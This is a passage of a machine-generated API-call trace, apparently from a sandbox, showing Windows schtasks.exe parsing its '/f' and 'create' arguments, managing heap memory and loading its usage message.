lstrlenW (lpString="/f") returned 2 [0109.758] lstrlenW (lpString="-/") returned 2 [0109.758] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.758] lstrlenW (lpString="?") returned 1 [0109.758] lstrlenW (lpString="?") returned 1 [0109.758] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.758] lstrlenW (lpString="f") returned 1 [0109.758] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.758] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|?|") returned 3 [0109.758] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|f|") returned 3 [0109.758] lstrlenW (lpString="|?|") returned 3 [0109.758] lstrlenW (lpString="|f|") returned 3 [0109.758] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0109.758] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.758] lstrlenW (lpString="create") returned 6 [0109.758] lstrlenW (lpString="create") returned 6 [0109.758] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.758] lstrlenW (lpString="f") returned 1 [0109.758] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.758] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|create|") returned 8 [0109.758] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|f|") returned 3 [0109.758] lstrlenW (lpString="|create|") returned 8 [0109.758] lstrlenW (lpString="|f|") returned 3 [0109.758] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0109.758] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.758] lstrlenW (lpString="delete") returned 6 [0109.758] lstrlenW (lpString="delete") returned 6 [0109.759] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.759] lstrlenW (lpString="f") returned 1 [0109.759] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.759] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|delete|") returned 8 [0109.759] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|f|") returned 3 [0109.759] lstrlenW (lpString="|delete|") returned 8 [0109.759] lstrlenW (lpString="|f|") returned 3 [0109.759] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0109.759] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.759] lstrlenW (lpString="query") returned 5 [0109.759] lstrlenW (lpString="query") returned 5 [0109.759] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.759] lstrlenW (lpString="f") returned 1 [0109.759] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.759] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|query|") returned 7 [0109.759] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|f|") returned 3 [0109.759] lstrlenW (lpString="|query|") returned 7 [0109.759] lstrlenW (lpString="|f|") returned 3 [0109.759] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0109.759] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.759] lstrlenW (lpString="change") returned 6 [0109.759] lstrlenW (lpString="change") returned 6 [0109.759] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.759] lstrlenW (lpString="f") returned 1 [0109.759] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.759] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|change|") returned 8 [0109.759] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|f|") returned 3 [0109.759] lstrlenW (lpString="|change|") returned 8 [0109.759] lstrlenW (lpString="|f|") returned 3 [0109.759] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0109.759] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.759] lstrlenW (lpString="run") returned 3 [0109.760] lstrlenW (lpString="run") returned 3 [0109.760] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.760] lstrlenW (lpString="f") returned 1 [0109.760] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.760] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|run|") returned 5 [0109.760] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|f|") returned 3 [0109.760] lstrlenW (lpString="|run|") returned 5 [0109.760] lstrlenW (lpString="|f|") returned 3 [0109.760] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0109.760] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.760] lstrlenW (lpString="end") returned 3 [0109.760] lstrlenW (lpString="end") returned 3 [0109.760] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.760] lstrlenW (lpString="f") returned 1 [0109.760] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.760] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|end|") returned 5 [0109.760] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|f|") returned 3 [0109.760] lstrlenW (lpString="|end|") returned 5 [0109.760] lstrlenW (lpString="|f|") returned 3 [0109.760] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0109.760] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.760] lstrlenW (lpString="showsid") returned 7 [0109.760] lstrlenW (lpString="showsid") returned 7 [0109.760] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.760] lstrlenW (lpString="f") returned 1 [0109.760] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.760] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|showsid|") returned 9 [0109.760] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|f|") returned 3 [0109.760] lstrlenW (lpString="|showsid|") returned 9 [0109.760] lstrlenW (lpString="|f|") returned 3 [0109.760] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0109.760] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.761] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.761] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.761] lstrlenW (lpString="/f") returned 2 [0109.761] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0109.761] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.761] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.761] lstrlenW (lpString="/f") returned 2 [0109.761] GetProcessHeap () returned 0x1ed3df50000 [0109.761] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x6) returned 0x1ed3df53c30 [0109.761] GetProcessHeap () returned 0x1ed3df50000 [0109.761] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b960 [0109.761] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.761] GetProcessHeap () returned 0x1ed3df50000 [0109.761] GetProcessHeap () returned 0x1ed3df50000 [0109.761] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53f20) returned 1 [0109.761] GetProcessHeap () returned 0x1ed3df50000 [0109.761] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53f20) returned 0x8 [0109.761] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53f20) returned 1 [0109.761] GetProcessHeap () returned 0x1ed3df50000 [0109.761] GetProcessHeap () returned 0x1ed3df50000 [0109.761] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b7e0) returned 1 [0109.761] GetProcessHeap () returned 0x1ed3df50000 [0109.761] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b7e0) returned 0x20 [0109.762] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b7e0) returned 1 [0109.762] GetProcessHeap () returned 0x1ed3df50000 [0109.762] GetProcessHeap () returned 0x1ed3df50000 [0109.762] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b450) returned 1 [0109.762] GetProcessHeap () returned 0x1ed3df50000 [0109.762] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b450) returned 0x24 [0109.763] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b450) returned 1 [0109.763] GetProcessHeap () returned 0x1ed3df50000 [0109.763] GetProcessHeap () returned 0x1ed3df50000 [0109.763] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b9c0) returned 1 [0109.763] GetProcessHeap () returned 0x1ed3df50000 [0109.763] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b9c0) returned 0x20 [0109.763] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b9c0) returned 1 [0109.766] GetProcessHeap () returned 0x1ed3df50000 [0109.766] GetProcessHeap () returned 0x1ed3df50000 [0109.766] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df542a0) returned 1 [0109.766] GetProcessHeap () returned 0x1ed3df50000 [0109.766] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df542a0) returned 0x8 [0109.766] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df542a0) returned 1 [0109.766] GetProcessHeap () returned 0x1ed3df50000 [0109.766] GetProcessHeap () returned 0x1ed3df50000 [0109.766] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5ba80) returned 1 [0109.766] GetProcessHeap () returned 0x1ed3df50000 [0109.766] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5ba80) returned 0x20 [0109.767] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5ba80) returned 1 [0109.767] GetProcessHeap () returned 0x1ed3df50000 [0109.767] GetProcessHeap () returned 0x1ed3df50000 [0109.767] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df542c0) returned 1 [0109.767] GetProcessHeap () returned 0x1ed3df50000 [0109.767] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df542c0) returned 0xe [0109.767] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df542c0) returned 1 [0109.767] GetProcessHeap () returned 0x1ed3df50000 [0109.767] GetProcessHeap () returned 0x1ed3df50000 [0109.767] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b900) returned 1 [0109.767] GetProcessHeap () returned 0x1ed3df50000 [0109.767] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b900) returned 0x20 [0109.767] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b900) returned 1 [0109.767] GetProcessHeap () returned 0x1ed3df50000 [0109.768] GetProcessHeap () returned 0x1ed3df50000 [0109.768] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df542e0) returned 1 [0109.768] GetProcessHeap () returned 0x1ed3df50000 [0109.768] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df542e0) returned 0x8 [0109.768] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df542e0) returned 1 [0109.768] GetProcessHeap () returned 0x1ed3df50000 [0109.768] GetProcessHeap () returned 0x1ed3df50000 [0109.768] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b990) returned 1 [0109.768] GetProcessHeap () returned 0x1ed3df50000 [0109.768] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b990) returned 0x20 [0109.768] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b990) returned 1 [0109.768] GetProcessHeap () returned 0x1ed3df50000 [0109.768] GetProcessHeap () returned 0x1ed3df50000 [0109.768] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54300) returned 1 [0109.768] GetProcessHeap () returned 0x1ed3df50000 [0109.768] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54300) returned 0x4 [0109.768] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54300) returned 1 [0109.768] GetProcessHeap () returned 0x1ed3df50000 [0109.768] GetProcessHeap () returned 0x1ed3df50000 [0109.768] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5ba20) returned 1 [0109.769] GetProcessHeap () returned 0x1ed3df50000 [0109.769] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5ba20) returned 0x20 [0109.769] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5ba20) returned 1 [0109.769] GetProcessHeap () returned 0x1ed3df50000 [0109.769] GetProcessHeap () returned 0x1ed3df50000 [0109.769] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54320) returned 1 [0109.769] GetProcessHeap () returned 0x1ed3df50000 [0109.769] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54320) returned 0x8 [0109.769] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54320) returned 1 [0109.769] GetProcessHeap () returned 0x1ed3df50000 [0109.769] GetProcessHeap () returned 0x1ed3df50000 [0109.769] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5bb10) returned 1 [0109.769] GetProcessHeap () returned 0x1ed3df50000 [0109.769] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5bb10) returned 0x20 [0109.770] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5bb10) returned 1 [0109.770] GetProcessHeap () returned 0x1ed3df50000 [0109.770] GetProcessHeap () returned 0x1ed3df50000 [0109.770] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53bb0) returned 1 [0109.770] GetProcessHeap () returned 0x1ed3df50000 [0109.770] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53bb0) returned 0x4a [0109.770] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53bb0) returned 1 [0109.770] GetProcessHeap () returned 0x1ed3df50000 [0109.770] GetProcessHeap () returned 0x1ed3df50000 [0109.770] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b8a0) returned 1 [0109.771] GetProcessHeap () returned 0x1ed3df50000 [0109.771] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b8a0) returned 0x20 [0109.771] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b8a0) returned 1 [0109.771] GetProcessHeap () returned 0x1ed3df50000 [0109.771] GetProcessHeap () returned 0x1ed3df50000 [0109.771] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53c10) returned 1 [0109.771] GetProcessHeap () returned 0x1ed3df50000 [0109.771] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53c10) returned 0x8 [0109.771] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53c10) returned 1 [0109.771] GetProcessHeap () returned 0x1ed3df50000 [0109.772] GetProcessHeap () returned 0x1ed3df50000 [0109.772] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b630) returned 1 [0109.772] GetProcessHeap () returned 0x1ed3df50000 [0109.772] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b630) returned 0x20 [0109.772] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b630) returned 1 [0109.772] GetProcessHeap () returned 0x1ed3df50000 [0109.772] GetProcessHeap () returned 0x1ed3df50000 [0109.772] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5a8f0) returned 1 [0109.772] GetProcessHeap () returned 0x1ed3df50000 [0109.772] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5a8f0) returned 0x10 [0109.772] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5a8f0) returned 1 [0109.773] GetProcessHeap () returned 0x1ed3df50000 [0109.773] GetProcessHeap () returned 0x1ed3df50000 [0109.773] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b540) returned 1 [0109.773] GetProcessHeap () returned 0x1ed3df50000 [0109.773] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b540) returned 0x20 [0109.773] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b540) returned 1 [0109.773] GetProcessHeap () returned 0x1ed3df50000 [0109.773] GetProcessHeap () returned 0x1ed3df50000 [0109.773] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53c30) returned 1 [0109.773] GetProcessHeap () returned 0x1ed3df50000 [0109.773] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53c30) returned 0x6 [0109.774] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53c30) returned 1 [0109.774] GetProcessHeap () returned 0x1ed3df50000 [0109.774] GetProcessHeap () returned 0x1ed3df50000 [0109.774] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b960) returned 1 [0109.774] GetProcessHeap () returned 0x1ed3df50000 [0109.774] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b960) returned 0x20 [0109.774] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b960) returned 1 [0109.774] GetProcessHeap () returned 0x1ed3df50000 [0109.774] GetProcessHeap () returned 0x1ed3df50000 [0109.775] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54ea0) returned 1 [0109.775] GetProcessHeap () returned 0x1ed3df50000 [0109.775] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54ea0) returned 0x18 [0109.775] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54ea0) returned 1 [0109.776] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.776] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0109.776] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0109.776] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0109.776] RtlVerifyVersionInfo (VersionInfo=0x1d6828c680, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0109.776] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.776] lstrlenW (lpString="create") returned 6 [0109.776] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0109.776] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.776] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.777] lstrlenW (lpString="create") returned 6 [0109.777] GetProcessHeap () returned 0x1ed3df50000 [0109.777] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5bab0 [0109.777] GetProcessHeap () returned 0x1ed3df50000 [0109.777] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df5ab50 [0109.777] _memicmp (_Buf1=0x1ed3df5ab50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.777] GetProcessHeap () returned 0x1ed3df50000 [0109.777] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x16) returned 0x1ed3df5ac50 [0109.777] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.777] _memicmp (_Buf1=0x1ed3df547e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.777] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ed3df59b20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0109.828] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x1d6828c7d8 | out: lpdwHandle=0x1d6828c7d8) returned 0x76c [0109.828] GetProcessHeap () returned 0x1ed3df50000 [0109.828] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x776) returned 0x1ed3df5bd60 [0109.829] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1ed3df5bd60 | out: lpData=0x1ed3df5bd60) returned 1 [0109.829] VerQueryValueW (in: pBlock=0x1ed3df5bd60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1d6828c770, puLen=0x1d6828c7d0 | out: lplpBuffer=0x1d6828c770*=0x1ed3df5c110, puLen=0x1d6828c7d0) returned 1 [0109.829] _memicmp (_Buf1=0x1ed3df547e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.829] _vsnwprintf (in: _Buffer=0x1ed3df59b20, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1d6828c748 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0109.829] VerQueryValueW (in: pBlock=0x1ed3df5bd60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1d6828c760, puLen=0x1d6828c7c8 | out: lplpBuffer=0x1d6828c760*=0x1ed3df5bf40, puLen=0x1d6828c7c8) returned 1 [0109.829] lstrlenW (lpString="schtasks.exe") returned 12 [0109.829] lstrlenW (lpString="schtasks.exe") returned 12 [0109.829] lstrlenW (lpString=".EXE") returned 4 [0109.829] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0109.829] lstrlenW (lpString="schtasks.exe") returned 12 [0109.829] lstrlenW (lpString=".EXE") returned 4 [0109.829] lstrlenW (lpString="schtasks") returned 8 [0109.829] lstrlenW (lpString="/create") returned 7 [0109.829] _memicmp (_Buf1=0x1ed3df547e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.829] _vsnwprintf (in: _Buffer=0x1ed3df59b20, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1d6828c748 | out: _Buffer="schtasks /create") returned 16 [0109.829] _memicmp (_Buf1=0x1ed3df54800, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.829] GetProcessHeap () returned 0x1ed3df50000 [0109.829] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b840 [0109.830] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.830] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0109.830] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0109.830] GetProcessHeap () returned 0x1ed3df50000 [0109.830] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x30) returned 0x1ed3df542a0 [0109.830] _vsnwprintf (in: _Buffer=0x1ed3df53880, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1d6828c748 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0109.830] GetProcessHeap () returned 0x1ed3df50000 [0109.830] GetProcessHeap () returned 0x1ed3df50000 [0109.830] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5bd60) returned 1 [0109.830] GetProcessHeap () returned 0x1ed3df50000 [0109.830] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5bd60) returned 0x776 [0109.831] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5bd60) returned 1 [0109.831] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.831] GetThreadLocale () returned 0x409 [0109.831] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.831] lstrlenW (lpString="create") returned 6 [0109.831] GetThreadLocale () returned 0x409 [0109.831] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.831] lstrlenW (lpString="?") returned 1 [0109.831] GetThreadLocale () returned 0x409 [0109.831] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.831] lstrlenW (lpString="s") returned 1 [0109.831] GetThreadLocale () returned 0x409 [0109.831] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.831] lstrlenW (lpString="u") returned 1 [0109.831] GetThreadLocale () returned 0x409 [0109.831] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.831] lstrlenW (lpString="p") returned 1 [0109.831] GetThreadLocale () returned 0x409 [0109.831] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.831] lstrlenW (lpString="ru") returned 2 [0109.832] GetThreadLocale () returned 0x409 [0109.832] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.832] lstrlenW (lpString="rp") returned 2 [0109.832] GetThreadLocale () returned 0x409 [0109.832] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.832] lstrlenW (lpString="sc") returned 2 [0109.832] GetThreadLocale () returned 0x409 [0109.832] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.832] lstrlenW (lpString="mo") returned 2 [0109.832] GetThreadLocale () 